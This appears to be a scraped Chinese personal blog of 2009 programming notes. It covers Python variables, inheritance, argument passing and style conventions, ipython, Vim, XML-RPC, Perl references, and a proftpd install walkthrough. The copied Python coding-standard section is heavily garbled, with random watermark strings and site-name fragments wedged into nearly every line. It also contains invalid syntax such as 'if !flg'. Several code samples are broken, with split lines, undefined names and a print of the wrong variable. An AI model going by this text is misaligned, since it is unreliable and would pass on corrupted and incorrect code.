2009年12月15日星期二

python: Class and Object Variables 类变量 实例变量

原帖地址:http://hi.baidu.com/xionghy2008/blog/item/0cb862355e5b4b82a71e1256.html
============================================================

python的类中,类的属性有两种作用域:类变量,实例变量。

类似于java中的static变量与一般变量的区别。

类变量属于整个class所共享,而实例变量则仅仅属于特定对象实例。

类变量和实例变量在操作上的区别

  1. 访问权限

    • 类变量通过类名点操作访问也可以通过实例点操作访问className.var objectName.var

    • 实例变量只可以通过实例名点操作访问 objectName.var

  1. 类变量修改后的表现

    • 通过className.var修改类变量,该类和所有实例所共享的数据将被修改,再次通过类或实例访问得到的将是新的数据。

    • 通过objectName.var修改类变量,其效果将仅仅作用在该实例上,再次通过类或其它实例访问得到的仍然是旧的数据。但这一修改方式将对该类变量实例化,其结果是该实例将得到一个单独的该变量拷贝,此后此对象不再与类共享改名称的变量(实例化一说,是个人对这一现象的定义,还未找到权威描述)

附加测试代码如下

class classA:
    var1=
0
    def __init__(self,text
):
        self.var2=text
#var2 is a instance variable
##       self.var1=init_value #it will make var1 as a instance variable
    def show(self
):
        print self.var1, self.var2
    def set_var1(self, x
):
        self.var1=x


oa=classA(
'a'
)
ob=classA(
'b'
)
print
'---init---'
oa.show
()
ob.show
()
print classA.var1,
'classA'
classA.var1=
1
print
'---after classA.var1=1---'
oa.show
()
ob.show
()
print classA.var1,
'classA'
oa.var1=
2
print
'---after oa.var1=2---'
oc=classA('c'
)
oa.show
()
ob.show
()
oc.show
()
print classA.var1,
'classA'
oa.set_var1(3
)
ob.set_var1(4
)
print
'---after oa.set_var1(3),ob.set_var1(4)---'
oa.show
()
ob.show
()
oc.show
()
print classA.var1,
'classA'
classA.var1=
5
print
'---after classA.var1=5---'
oc=classA('c'
)
oa.show
()
ob.show
()
oc.show
()
print classA.var1,
'classA'

2009年12月10日星期四

python 继承

1,子类可不加定义直接调用父类变量,但此时所有子类共享此变量
2.访问不同父类同名变量
class A:
    def __init__(self):
        self.__data = "A"
class B:
    def __init__(self):
        self.__data = "B"
class C(A,B):
    def __init__(self):
        A.__init__(self)
        B.__init__(self)
        self.data='C'


c=C()
print c._A__data
print c._B__data
print c.data

输出结果:
A
B
C

2009年12月4日星期五

Python的函数参数传递:传值?引用?

作者:winterTTr (转载请注明)

我想,这个标题或许是很多初学者的问题。尤其是像我这样的对C/C++比较熟悉,刚刚进入python殿堂的朋友们

。C/C++的函数参数的传递方式根深蒂固的影响这我们的思维--引用?传值?究竟是那种呢。

呵呵,语言的特性决定了是使用的方法,那么,现在我们来探究一下python的函数参数传递方式。

在开始之前,我们有必要分清一下python的一些基础概念。

首先要说的是:变量 与 对象

在python中,类型属于对象,变量是没有类型的,这正是python的语言特性,也是吸引着很多pythoner的一点。所有的变量都可以理解 是内存中一个对象的“引用”,或者,也可以看似c中void*的感觉。所以,希望大家在看到一个python变量的时候,把变量和真正的内存对象分开。

类型是属于对象的,而不是变量。这样,很多问题就容易思考了。

例如:

nfoo = 1 #一个指向int数据类型的nfoo(再次提醒,nfoo没有类型)

lstFoo = [1] #一个指向list类型的lstFoo,这个list中包含一个整数1。

对应于上一个概念,就必须引出另了另一概念,这就是“可更改”(mutable)与“不可更改”(immutable)对象

对于python比较熟悉的人们都应该了解这个事实,在python中,strings, tuples, 和numbers是不可更改的对象,而list,dict等则是可以修改的对象。那么,这些所谓的可改变和不可改变影响着什么呢?

还是上面的例子:

nfoo = 2

这时,内存中原始的1对象因为不能改变,于是被“抛弃”,另nfoo指向一个新的int对象,其值为2

lstFoo[0] = 2

更改list中第一个元素的值,因为list是可改变的,所以,第一个元素变更为2,其实应该说有一个新int对象被指定给lstFoo 所指向的对象的第一个值,但是对于lstFoo 来说,所指向的对象,并没有变化,就是这个看似void*的变量所指向的对象仍旧是刚刚的那个有一个int对象的list。(听着有点晕吧,仔细琢磨一下 就明白了,嘿)

好了,被我这么填鸭似的复习了一下python的基础知识,改转回题目的问题了,Python的函数参数传递:传值?引用?

对于变量(与对象相对的概念),其实,python函数参数传递可以理解为就是变量传值操作(注意哦,我说的是变量,不是对象 =_= )

接着说例子好了:

def ChangeInt( a ):

a = 10 # change the number

nfoo = 2

ChangeInt(nfoo)

print nfoo #结果是2

这时发生了什么,有一个int对象2,和指向它的变量nfoo,当传递给ChangeInt的时候,按照传值的方式,复制了变量nfoo的值,这样,a就是nfoo指向同一个Int对象了,函数中a=10的时候,发生什么?

(还记得我上面讲到的那些概念么),int是不能更改的对象,于是,做了一个新的int对象,另a指向它(但是此时,被变量nfoo指向的对象,没有发生变化),于是在外面的感觉就是函数没有改变nfoo的值,看起来像C++中的传值方式。

def ChangeList( a ):

a[0] = 10 # change the number

lstFoo = [2]

ChangeList(lstFoo )

print nfoo #结果是[10]

当传递给ChangeList的时候,变量仍旧按照“传值”的方式,复制了变量lstFoo 的值,于是a和lstFoo 指向同一个对象,但是,list是可以改变的对象,对a[0]的操作,就是对lstFoo指向的对象的内容的操作,于是,这时的a[0] = 10,就是更改了lstFoo 指向的对象的第一个元素,所以,再次输出lstFoo 时,显示[10],内容被改变了,看起来,像C++中的按引用传递。

恩,现在是不是对python中的变量和对象的概念有了更深入的理解了呢?

通过我上面的解释,我想大家也可以自己搞定其他类型对象的传递问题了吧。

由参数传递实现的python多态

#实现一个父类,虚构的动物类,并实现一个空的Eat方法
class Animal(object):
def __init__(self):
pass
def Eat(self):
pass

class Chicken(Animal):
def __init__(self):
super(Chicken, self).__init__()
def Eat(self):
print 'the chicken has been eat'

class Dog(Animal):
def __init__(self):
super(Dog, self).__init__()
def Eat(self):
print 'the dog has been eat'

#实现一个调用的方法,这里也用类来实现吧
class Person(object):
def __init__(self,name):
self.name = name
def Feed(self, ped):
ped.Eat()

if __name__ == '__main__':
Kobe = Person('Kobe')#给调用者取个名字吧
pedChicken = Chicken()#建立一个小鸡宠物
pedDog = Dog()#建立一个小狗宠物
Kobe.Feed(PedChicken)#Feed方法根据传入的参数不同调用
Kobe.Feed(pedDog)

这样就形成
发布帖子
了,Feed方法不关心Eat方法实现的细节,只需要通过参数来确定调用哪个方法。这只是python实现多态的一种
这里用到了super,其实在这里例子中没什么用处,只是用来说明子类如何调用父类的方法
Dog类的init方法可以如下实现
def __init__(self):
Animal.__init__(self)
这样也可以,不过多数用super的方法好一点,因为这样至少子类和父类耦合没那么高,把父类的名字写到子类里面毕竟不是什么好事

本文出自 “只想简单” 博客,请务必保留此出处http://gmingzhe.blog.51cto.com/810664/163169

2009年12月2日星期三

VIM的拼写检查



set spell

set spelllang=de

2009年11月3日星期二

2009年10月27日星期二

WinPDB

Winpdb是一款非常受python开发者欢迎的高级debugger工具。支持只能断点、多线程、名称空间修改、加密通讯等高级特性。

事实上,这款工具只是rpdb2的GUI前端,GUI采用wxPython撰写。所以当只需要字符模式下的debugger诊断,那么rpdb2也是可以的,只是安装Winpdb还需要wxPython的依赖。

2009年10月21日星期三

简明 Python 编程规范

本文最初发表于赖勇浩(恋花蝶)的博客:http://blog.csdn.net/lanphaday,如蒙转载,必须保留全文完整,未经本人同意,不得用于商业目的。
E)o'Frh
HB _ R_n0编码51Testing软件测试网!V0h `M0z:Rb
所有的 Python 脚本文件都应在文件头标上 # -*- coding:utf-8 -*- 。设置编辑器,默认保存为 utf-8 格式。51Testing软件测试网/^H%?o-Yha[
注释51Testing软件测试网W V$F j3z%p3t;M
业界普遍认同 Python 的注释分为两种的概念,一种是由 # 开头的“真正的”注释,另一种是 docstrings。前者表明为何选择当前实现以及这种实现的原理和难点,后者表明如何使用这个包、模块、类、函数(方法),甚至包括使用示例和单元测试
E5WV)q�D"t'rW0 坚持适当注释原则。对不存在技术难点的代码坚持不注释,对存在技术难点的代码必须注释。但与注释不同,推荐对每一个包、模块、类、函数(方法)写 docstrings,除非代码一目了然,非常简单。
(E[@[5T*bC*B^j0缩进51Testing软件测试网G~8Y i0j/M;~&p
Python 依赖缩进来确定代码块的层次,行首空白符主要有两种:tab 和空格,但严禁两者混用。如果使用 tab 缩进,设定 tab 为 4 个空格。
i0{.~a0Fq(vJ0 公司内部推荐使用 4 个空格的 tab 进行缩进。51Testing软件测试网 h V sf2]5Iq
空格51Testing软件测试网/l'n'W,u]tp
空格在 Python 代码中是有意义的,因为 Python 的语法依赖于缩进,在行首的空格称为前导空格。在这一节不讨论前导空格相关的内容,只讨论非前导空格。非前导空格在 Python 代码中没有意义,但适当地加入非前导空格可以增进代码的可读性。51Testing软件测试网0B:kf.D!]y8tr
1) 在二元算术、逻辑运算符前后加空格:如 a = b + c;
8WqNo |}S;v02) 在一元前缀运算符后不加空格,如 if !flg: pass;51Testing软件测试网 Q ~9O? HZ:mC
3) “:”用在行尾时前后皆不加空格,如分枝、循环、函数和类定义语言;用在非行尾时两端加空格,如 dict 对象的定义 d = {‘key’ : ’value’}。51Testing软件测试网{2`L8Ba_4r:G8Er
4) 括号(含圆括号、方括号和花括号)前后不加空格,如 do_something(arg1, arg2),而不是 do_something( arg1, arg2 );
"V8w+?Xq7qKc05) 逗号后面加一个空格,前面不加空格;s
G's i%?.Fy W0空行
b6u xV?.Hs N'O~0 适当的空行有利于增加代码的可读性,加空行可以参考如下几个准则:51Testing软件测试网X^"x:HF8l^NJ,~&x
1) 在类、函数的定义间加空行;51Testing软件测试网]o @Kj7D3}
2) 在 import 不同种类的模块间加工行;51Testing软件测试网qA+c rdc&G
3) 在函数中的逻辑段落间加空行,即把相关的代码紧凑写在一起,作为一个逻辑段落,段落间以空行分隔;
u:Y N} e+[;HF8@4k0断行
&}l(k m(| cYTf0B#|0 尽管现在的宽屏显示器已经可以单屏显示超过 256 列字符,但本规范仍然坚持行的最大长度不得超过 78 个字符的标准。折叠长行的方法有以下几种方法:
t}Vgoe01) 为长变量名换一个短名,如:51Testing软件测试网4I:TE:]s5hRP1n
this.is.a.very.long.variable_name = this.is.another.long.variable_name51Testing软件测试网,vg9HoEVt1I
应改为:51Testing软件测试网8P'C�@1NQ8^6s'^
variable_name1 = this.is.a.very.long.variable_name
9k,P {~!j3k0 variable_name2 = this.is.another.variable_name
1_I#K(m_(t)q0 variable_name1 = variable_name2s
hV*DVbLl3Z02) 在括号(包括圆括号、方括号和花括号)内换行,如:51Testing软件测试网Y&]e6`+f$?R7wR
class Edit(CBase):
Z {7jb P0 def __init__(self, parent, width,
8YSI#w&My$l0 font = FONT, color = BLACK, pos = POS, style = 0):51Testing软件测试网6|ndv \&k
或:51Testing软件测试网*]WIbi}LRn
very_very_very_long_variable_name = Edit(parent, \51Testing软件测试网 \0I E"Ubr%h
width, \
|m,N!z4}]R'O0 font, \51Testing软件测试网5O h }-`j QMS
color, \51Testing软件测试网%T1RL%V ~hS2]
pos)
;~N a[]$h6r0 如果行长到连第一个括号内的参数都放不下,则每个元素都单独占一行:51Testing软件测试网a|#O6cvq`7C1dl
very_very_very_long_variable_name = ui.widgets.Edit( \
[Y Mmr"x0 panrent, \51Testing软件测试网2ey(o%fc)q{
width, \
Nr3C)G"p Q$h:L p0 font, \
.ZR D&r r-B0 color, \
,@ b do&f@$x0dUI t(L0 pos)51Testing软件测试网1zO1HO,WX
3) 在长行加入续行符强行断行,断行的位置应在操作符前,且换行后多一个缩进,以使维护人员看代码的时候看到代码行首即可判定这里存在换行,如:51Testing软件测试网1Ff L&Hhe{\
if color == WHITE or color == BLACK \51Testing软件测试网&T+KK'OlbDgb
or color == BLUE: # 注意 or 操作符在新行的行首而不是旧行的行尾
K?l1[ z0do_something(color);
vnQD#e oW2FwE0命名51Testing软件测试网,x_A(_f{
一致的命名可以给开发人员减少许多麻烦,而恰如其分的命名则可以大幅提高代码的可读性,降低维护成本。51Testing软件测试网m3g5a8F9P'L
常量51Testing软件测试网\-aq#u |NL+R:_
常量名所有字母大写,由下划线连接各个单词,如51Testing软件测试网Pr"Rn*g
WHITE = 0XFFFFFF51Testing软件测试网OG,yt!I
THIS_IS_A_CONSTANT = 151Testing软件测试网2_};ip"|#|x
变量
51Testing软件测试网P3n5n!bR Xb._
单下划线 = 保护变量,能被本类和子类访问
双下划线 = 私有变量,只能被本类访问

变量名全部小写,由下划线连接各个单词,如51Testing软件测试网 ~:P O4i?#W XGg
color = WHITE
3@'H$xFF0this_is_a_variable = 1
[$RM!TPq ]O0 不论是类成员变量还是全局变量,均不使用 m 或 g 前缀。私有类成员使用单一下划线前缀标识,多定义公开成员,少定义私有成员。
Z MScRnC{ gAG0 变量名不应带有类型信息,因为 Python 是动态类型语言。如 iValue、names_list、dict_obj 等都是不好的命名。
Qn.Lx.tUZsK)DA|0函数
n0CZ`C;f{0 函数名的命名规则与变量名相同。
5Z$YOQ\U$O0
1f {,H c.|4f0 类名单词首字母大写,不使用下划线连接单词,也不加入 C、T 等前缀。如:
%f9z9^J%irA0class ThisIsAClass(object):
dX`\)d6v;R[ i8S0 passs
"Px$[R~.K/uR@#P0模块
ss3r]4S @9Q0 模块名全部小写,对于包内使用的模块,可以加一个下划线前缀,如
Q�G3@w0R,@(y0module.py
a"Wm1^ JC*E]uV0_internal_module.py
Fbcg8A9T3n0
3a {sE)E"m ?A0 包的命名规范与模块相同。51Testing软件测试网p)Hx3hl,bE u \:Kt
缩写
a3f zML(Y E0 命名应当尽量使用全拼写的单词,缩写的情况有如下两种:51Testing软件测试网Nqzy'H"R3i l%B"Q'c&e4_9S
1) 常用的缩写,如 XML、ID等,在命名时也应只大写首字母,如
&@&f5](E#I"DS SV0class XmlParser(object):pass51Testing软件测试网 E)^0{#u[!h
2) 命名中含有长单词,对某个单词进行缩写。这时应使用约定成俗的缩写方式,如去除元音、包含辅音的首字符等方式,例如:
2vp O8Y"ue j0function 缩写为 fn
"oI&b`gO0text 缩写为 txt51Testing软件测试网"hb&lqWN1c-{
object 缩写为 obj51Testing软件测试网7G6RN0[6T4d"@/Kf
count 缩写为 cnt51Testing软件测试网[V/yq[U }
number 缩写为 num,等。
x$~| x5L|u(h!tl0特定命名方式
y@9A7A;~1v0 主要是指 __xxx__ 形式的系统保留字命名法。项目中也可以使用这种命名,它的意义在于这种形式的变量是只读的,这种形式的类成员函数尽量不要重载。如
Y4Z4R:UZ)qa I0class Base(object):51Testing软件测试网;P$FAOL ^2_#J.~
def __init__(self, id, parent = None):
eb!j!E*mT'zZ0 self.__id__ = id
+|3Y tE4scB ^ m0 self.__parent__ = parent
9q)C%iNF/G+}0 def __message__(self, msgid):51Testing软件测试网/N[ jg~VA
# …略
!a(]${$U5^+ZBV0其中 __id__、__parent__ 和 __message__ 都采用了系统保留字命名法。51Testing软件测试网*fYQ@v9I,q3@
语句
+Q_;F6PQc+N0import
W(?7Y&ek0 import 语句有以下几个原则需要遵守:
/pZY\{8_ cB01) import 的次序,先 import Python 内置模块,再 import 第三方模块,最后 import 自己开发的项目中的其它模块;这几种模块中用空行分隔开来。
*{`/V"gv6i Q p02) 一条 import 语句 import 一个模块。51Testing软件测试网$H B!~g3L}
3) 当从模块中 import 多个对象且超过一行时,使用如下断行法(此语法 py2.5 以上版本才支持):51Testing软件测试网:x fzO V:[*z7R.E:X i
from module import (obj1, obj2, obj3, obj4,
EFj#_/Av.`0 obj5, obj6)51Testing软件测试网�v!\l\*w:I
4) 不要使用 from module import *,除非是 import 常量定义模块或其它你确保不会出现命名空间冲突的模块。
8Zg |v!NR rL'Ai0赋值
c4qJm"PKl0 对于赋值语言,主要是不要做无谓的对齐,如:
y"juX[6x0a = 1 # 这是一个行注释
3Es%p @ C0variable = 2 # 另一个行注释
hx9q9UFP8A5Yad^J0fn = callback_function # 还是行注释
1jeVrzT!r#qr0没有必要做这种对齐,原因有两点:一是这种对齐会打乱编程时的注意力,大脑要同时处理两件事(编程和对齐);二是以后阅读和维护都很困难,因为人眼的横向视野很窄,把三个字段看成一行很困难,而且维护时要增加一个更长的变量名也会破坏对齐。直接这样写为佳:
N:ZB9Q,?'y c0a = 1 # 这是一个行注释51Testing软件测试网+](\k~e*im3c
variable = 2 # 另一个行注释
x)w C m/bD5o(_%qT0fn = callback_function # 还是行注释
&}h qo+q[ XS;s7] _\0分枝和循环
X?k"D/{2b7d,\0 对于分枝和循环,有如下几点需要注意的:
(O.]:r(lu9s01) 不要写成一行,如:51Testing软件测试网7@K1X"T�J X
if !flg: pass 和 for i in xrange(10): print i都不是好代码,应写成51Testing软件测试网(G!g2p Q9u%`{,D
if !flg:
@9y ^'f:f L;g0 pass
vyha'q6W!e0for i in xrange(10):
p$B.N5M#A1K9eS0 print i
IV.RGjU,pA0注:本文档中出现写成一行的例子是因为排版的原因,不得作为编码中不断行的依据。51Testing软件测试网5oVM}$o%V#HJ
2) 条件表达式的编写应该足够 pythonic,如以下形式的条件表达式是拙劣的:51Testing软件测试网#? @7L�?h@
if len(alist) != 0: do_something()51Testing软件测试网W)m,M E@
if alist != []: do_something()
Q0y!c5Y&]%N8}0if s != “”: do_something()
#h X'G,hLY&EFb0if var != None: do_something()51Testing软件测试网_'yP-v^2[#@,R$B9K b
if var != False: do_something()51Testing软件测试网{6mB? A+{E
上面的语句应该写成:
4WNU H)M"`,X;eAG0if seq: do_somethin() # 注意,这里命名也更改了51Testing软件测试网KV#wW$W-`
if var: do_something()51Testing软件测试网(p |:voH Ic�AG%g
3) 用得着的时候多使用循环语句的 else 分句,以简化代码。
o*Jd_z|'E0已有代码
)x;Y7C_D:|T&p0 对于项目中已有的代码,可能因为历史遗留原因不符合本规范,应当看作可以容忍的特例,允许存在;但不应在新的代码中延续旧的风格。
"nOiD`:D?[0 对于第三方模块,可能不符合本规范,也应看作可以容忍的特例,允许存在;但不应在新的代码中使用第三方模块的风格。51Testing软件测试网k+tmt`
tab 与空格混用的缩进是不可容忍的,在运行项目时应使用 –t 或 –tt 选项排查这种可能性存在。出现混用的情况时,如果是公司开发的基础类库代码,应当通知类库维护人员修改;第三方模块则可以通过提交 patch 等方式敦促开发者修正问题。
C"bkzSf�dL0已有风格
5C~.c~I)}0 开发人员往往在加入项目之前已经形成自有的编码风格,加入项目后应以本规范为准编写代码。特别是匈牙利命名法,因为带有类型信息,并不适合 Python 编程,不应在 Python 项目中应用。

DocUtils

好吧,我承认最近有点偏执,觉得所有的事情都可以在Linux/Ubuntu下完成,尤其当我自认为是个程序员的时候。

昨天想写个学习笔记,觉得还是按照特定的格式来写会好一些,于是想到了Python的RestructedTextf以及DocUtils库,网上的教程看看就明白了,对于不做论文工作的我来说,Latex可能不太需要,Rst应该是够用了。

环境很简单,下载了docutils就有了很多转换的工具,基本的编辑是在Vim里面作的,用了VST的插件,感觉还不错。常用的命令如下:

Vst foldr:建立folders,长文档有用。

Vst head:把每个section使用的标识符罗列出来

写好了文本文件之后,可以使用下面的命令很容易的生成html文件:

rst2html.py -q TXTFILE HTMLFILE

VST插件自己也带了生成Html的功能,不过,生成的格式与Doctils不同,还是按照标准的来吧。

BTW: 搜索了一下,基于Doctuils有个Sphinx的库,Django等项目的文档都是用它来管理和生成的,Ubuntu下面安装和配置又很简单,就拿来用了。

================================================

ipython介绍

ipython 是一个 python 的交互式 shell,比默认的 python shell 好用得多,支持变量自动补全,自动缩近,支持 bash shell 命令,内置了许多很有用的功能和函数。在 ubuntu 下只要 sudo apt-get install ipython 就装好了,通过 ipython 启动。

  下面是 ipython 中几个简单好用的 magic 函数:

   %bg function 把 function 放到后台执行,例如: %bg myfunc(x, y, z=1),之后可以用jobs将其结果取回。myvar = jobs.result(5) 或 myvar = jobs[5].result。另外,jobs.status() 可以查看现有任务的状态。

  %ed 或 %edit 编辑一个文件并执行,如果只编辑不执行,用 ed -x filename 即可。

  %env 显示环境变量

  %hist 或 %history 显示历史记录

  %macro name n1-n2 n3-n4 ... n5 .. n6 ... 创建一个名称为 name 的宏,执行 name 就是执行 n1-n2 n3-n4 ... n5 .. n6 ... 这些代码。

  %pwd 显示当前目录

  %pycat filename 用语法高亮显示一个 python 文件(不用加.py后缀名)

  %save filename n1-n2 n3-n4 ... n5 .. n6 ... 将执行过多代码保存为文件

  %time statement 计算一段代码的执行时间

  %timeit statement 自动选择重复和循环次数计算一段代码的执行时间,太方便了。

  另外,ipython 中用 ! 表示执行 shell 命令,用 $ 将 python 的变量转化成 shell 变量。通过这种两个符号,我们就可以做到和 shell 命令之间的交互,可以非常方便地做许多复杂的工作。比如你可以很方便地创建一组目录:


for i in range(10):
  s = "dir%s" % i
  !mkdir $s

  不过写法上还是有一些限制,$ 后面只能跟变量名,不能直接写复杂表达式,$"dir%s"%i 就是错误的写法了,所以要先完全产生 python 的变量以后再用。像

  for i in !ls: print i

  这样的写法也是错的,可以这样:

  a = !ls

  for i in a: print i

  还有一点需要说明,就是执行普通的 shell 命令中如果有 $ 的话需要用两个 $。比如原来的echo $PATH现在得写成!echo $$PATH。

2009年10月4日星期日

Vim 补遗

ctrl + e,y

Ctrl+y 逐字克隆上一行内容
Ctrl+e 逐字克隆下一行内容
Ctrl+r寄存器名称 插入指定寄存器内容

2009年9月30日星期三

XML-RPC协议规范

http://www.aspstat.com/95

======================================

Overview

XML-RPC是运行在internet之上的远程过程(函数)调用协议。

一个XML-RPC消息就是一个HTTP-POST请求。请求发送的数据主体是XML形式。
在服务端过程被执行并且也已XML的形式返回值。

过程的参数可以是数字,字符串,日期等等还可以是复合数据和列表结构。

2009年9月10日星期四

Python读书笔记

1, '' 和 "" 完全一样
2, ‘’‘ 和“”“表示不带转义字符创
3, r' 表示自然语法字符串(还不太明白)
4, 几个特殊运算符//, and ,or ,not,**
5,代码块用缩进表示,不用{}
6,函数定义
def functionName( p1,p2...pn=default):
缩进后表示函数体,无结束标志
7,全局变量用global声明
8,函数调用可使用关键形参,即不考虑参数顺序和位置,直接名称后赋值
9,sys.py 模块包含系统信息,命令行
10,from ... import *
只导入相应的函数
11,dir 和 del
12,列表之中的列表不会失去它的身份,即列表不会像Perl中那样被打散。同样元组中的元组,或列表中的元组,或元组中的列表等等都是如此。只要是Python,它们就只是使用另一个对象存储的对象。
13,想要复制一个列表或者类似的序列或者其他复杂的对象(不是如整数那样的简单 对象 ),那么你必须使用切片操作符来取得拷贝。
14,关于类
__init__
__del__
以双下划线开头的变量为私有变量,系统自动识别。以单下划线开头表示私有变量,系统不自动识别,只是惯例。

15,Python不会自动调用基本类的constructor,你得亲自专门调用它
15,列表综合[2*i for i in listone if i > 2]
16,函数需要获取可变数量的参数的时候,它分别使用*和**前缀
17,lambda语句被用来创建新的函数对象,即便是print语句也不能用在lambda形式中,只能使用表达式。
18,exec语句用来执行储存在字符串或文件中的Python语句。eval语句用来计算存储在字符串中的有效Python表达式
19,assert语句用来声明某个条件是真的。
20,repr函数用来取得对象的规范字符串表示。
========================================
Python 3.1 新增:
1,print XXX---> pirnt(XXX)
2,格式化
>>>"I love {0}, {1}, and {param}".format("eggs", "bacon", param="sausage")
'I love eggs, bacon, and sausage'
大括号用卡括号转义
=============================
1,文档字符串的惯例是一个多行字符串,它的首行以大写字母开始,句号结尾。第二行是空行,从第三行开始是详细的描述。 强烈建议 你在你的函数中使用文档字符串时遵循这个惯例。

2,print语句的结尾使用了一个 逗号 来消除每个print语句自动打印的换行符

3,数据结构
->LIST:
shoplist = ['apple', 'mango', 'carrot', 'banana']

len(shoplist)

for item in shoplist:

shoplist.append('rice')

shoplist.sort()

olditem = shoplist[0]

del shoplist[0]

->TUPLE:不可被更改,空元组定义为 tuple=(),一个元素元组定义为 tuple=(one,),多个为 tuple=(one,two)


zoo = ('wolf', 'elephant', 'penguin')

len(zoo)

new_zoo = ('monkey', 'dolphin', zoo)

new_zoo[2][2]

->字典

ab = { 'Swaroop' : 'swaroopch@byteofpython.info',
'Larry' : 'larry@wall.org',
'Matsumoto' : 'matz@ruby-lang.org',
'Spammer' : 'spammer@hotmail.com'
}

ab['Guido'] = 'guido@python.org'

del ab['Spammer']
->序列:列表、元组和字符串都是序列,序列的两个主要特点是索引操作符和切片操作符。
shoplist = ['apple', 'mango', 'carrot', 'banana']

print 'Item 1 to 3 is', shoplist[1:3]
print 'Item 2 to end is', shoplist[2:]
print 'Item 1 to -1 is', shoplist[1:-1]
print 'Item start to end is', shoplist[:]

->引用,绑定

你需要记住的只是如果你想要复制一个列表或者类似的序列或者其他复杂的对象(不是如整数那样的简单 对象 ),那么你必须使用切片操作符来取得拷贝。如果你只是想要使用另一个变量名,两个名称都 引用 同一个对象,

2009年7月15日星期三

Perl数组和Hash的一些东西

scalar(keys(%hash)) 得出Hash的键的数量,在标量环境下得出的是一个用斜线分隔的已用空间和分配的总空
间的值组成的字串,。这个特点可以用于检查 Perl 的(编译好的)散列算法在你的数据集里
面性能是否太差.

=========================================

你可以用方括弧创建一个创建一个指向匿名数组的引用:
$arrayref = [1, 2, ['a', 'b', 'c', 'd']];
注意和@arrayref = (1, 2, ('a', 'b', 'c', 'd'));的区别

=============================================

区别以下两种付值,分别创建哈希和引用
%map = ('red', 0xff0000,'green', 0x00ff00,'blue',0x0000ff);
$hashref = {
'Adam' => 'Eve',
'Clyde' => $bonnie,}
箭头(->)操作符的类型是由右操作数决定的,也就是,由直接跟在箭头后面的东西决定。如果箭头后
面的东西是一个方括弧或者花括弧,那么左操作数就分别当作一个指向一个数组或者散列的
引用,由右边的操作数做下标定位。如果箭头后面的东西是一个左圆括弧,那么左操作数就
当作一个指向一个子过程的引用看待,然后用你在圆括弧右边提供的参数进行调用

==============================================

下面的东西每三行都是一样的,分别对应我们已经介绍过的三种表示法。(我们插入了一些
空白,以便将等效的元素对齐。)
$ $arrayref [2] = "Dorian"; #1
${ $arrayref }[2] = "Dorian"; #2
$arrayref->[2] = "Dorian"; #3
$ $hashref {KEY} = "F#major"; #1
${ $hashref }{KEY} = "F#major"; #2
$hashref->{KEY} = "F#major"; #3
& $coderef (Presto => 192); #1
&{ $coderef }(Presto => 192); #2
$coderef->(Presto => 192); #3

===================================

print $array[3]->{"English"}->[0];
请注意 $array[3] 和 $array->[3] 是不一样的。第一个东西讲的是 @array 里的第四
个元素,而第二个东西讲的是一个保存在 $array 里的数组(可能是匿名的数组)引用的
第四个元素

=========================================

@days : $#days得到的是最后脚标,即长度减一
undef(@days) 释放内存

-------------------------------------------

Hash的付值形式:
%map=();
%map=('red',1,'green',2);
%map=(red=>1,green=>2);
%map={red=>1,green=>2}

------------------------------------------------------------------------------------------

for $i (1..10) {
@array = somefunc($i);
$AoA[$i] = [ @array ]; # 正确!
$AoA = @array; # 错误!
$AoA[$i] = \@array; # 又错了!
}
相同的程序功能
for $i (1..10) { @array = somefunc($i); @{$AoA[$i]} = @array; }

概括来说:
$AoA[$i] = [ @array ]; # 最安全,有时候最快
$AoA[$i] = \@array; # 快速但危险,取决于数组的自有性
245
@{ $AoA[$i] } = @array; # 有点危险

2009年7月2日星期四

安装配置一个proftpd的实例

############################################
目的:

安装配置一个proftpd,达到以下要求
1 不允许匿名访问。
2 开放一个帐号,只有在upload目录有上传权限,可以续传,不能改名和删除。

操作:
0 切换到root帐户
su root //输入root的密码。
1 下载proftpd
地址:www.proftpd.org。这里我们下载了1.2.9版本
#wget ftp://ftp.proftpd.org/distrib/source/proftpd-1.2.9.tar.gz

2 安装proftpd
切换到下载目录,假设为/tmp/proftpd,然后
tar zxvf proftpd-1.2.9.tar.gz //解压
cd proftpd-1.2.9
./configure --prefix=/var/proftpd --sysconfdir=/etc //设置安装目录/var/proftpd,配置文件目录/etc
make
make install
3 新建ftp专用帐号
就是上面目的中提到的那个专用帐号,这里以skate/skate(u/p)为例。
groupadd skate
useradd skate -g skate -d /var/ftp -s /sbin/nologin //设置/var/ftp目录为ftp的目录
passwd skate //设置skate用户的密码
mkdir /var/ftp/upload
chown skate.skate /var/ftp/upload //设置upload目录skate用户可写


4 设置proftpd
proftpd的配置文件就一个,就是/etc/proftpd.conf
vi /etc/proftpd.conf //打开proftpd.conf
  1. ####具体配置如下######
  2. ServerName "Test ftp server..."
  3. ServerType standalone
  4. DefaultServer on
  5. #端口
  6. Port 21
  7. Umask 022
  8. #最大线程数
  9. MaxInstances 30
  10. User skate
  11. Group skate

  12. #DNS反查
  13. UseReverseDNS off
  14. IdentLookups off
  15. #最大尝试连接次数
  16. MaxLoginAttempts 3
  17. #每用户线程
  18. MaxClientsPerHost 2
  19. #最大用户数
  20. MaxClients 20

  21. DirFakeUser On skate
  22. DirFakeGroup On skate
  23. DeferWelcome On
  24. #日志文件位置
  25. SystemLog /var/log/proftpd.log
  26. ServerIdent off

  27. #限制skate组的skate用户登录时不能切换到其他目录(只能呆在他的home目录)
  28. DefaultRoot ~ skate,skate

  29. #设置只允许192.168.0的用户登录
  30. #
  31. #Order allow,deny
  32. #Allow from 192.168.0.
  33. #Deny from all
  34. #

  35. #设置只允许skate用户登录,否则系统用户也可以登录ftp
  36. #
  37. #Order allow,deny
  38. #DenyUser !skate
  39. #


  40. #开起全盘的写权限

  41. AllowOverwrite on
  42. AllowStoreRestart on
  43. #允许FXP
  44. # AllowForeignAddress on

  45. AllowAll



  46. #设置skate用户在upload的限制
  47. #DELE删除权限
  48. #RNFR RNTO重命名权限
  49. #RMD XRMD移动目录权限


  50. DenyUser skate


  51. #####结束######
复制代码
编辑完以后按Esc,然后输入:x保存。

5 启动服务
编辑一个启动脚本(这个是proftpd自带的,做了一点小修改)
vi /etc/rc.d/init.d/proftpd[/code:1:0258b10472]
  1. #####脚本内容开始########
  2. #!/bin/sh
  3. #
  4. # Startup script for ProFTPD
  5. #
  6. # chkconfig: 345 85 15
  7. # description: ProFTPD is an enhanced FTP server with \
  8. # a focus toward simplicity, security, and ease of configuration. \
  9. # It features a very Apache-like configuration syntax, \
  10. # and a highly customizable server infrastructure, \
  11. # including support for multiple&np'''vira''' FTP servers, \
  12. # anonymous FTP, and permission-based directory visibility.
  13. # processname: proftpd
  14. # config: /etc/proftpd.conf
  15. #
  16. # By: Osman Elliyasa
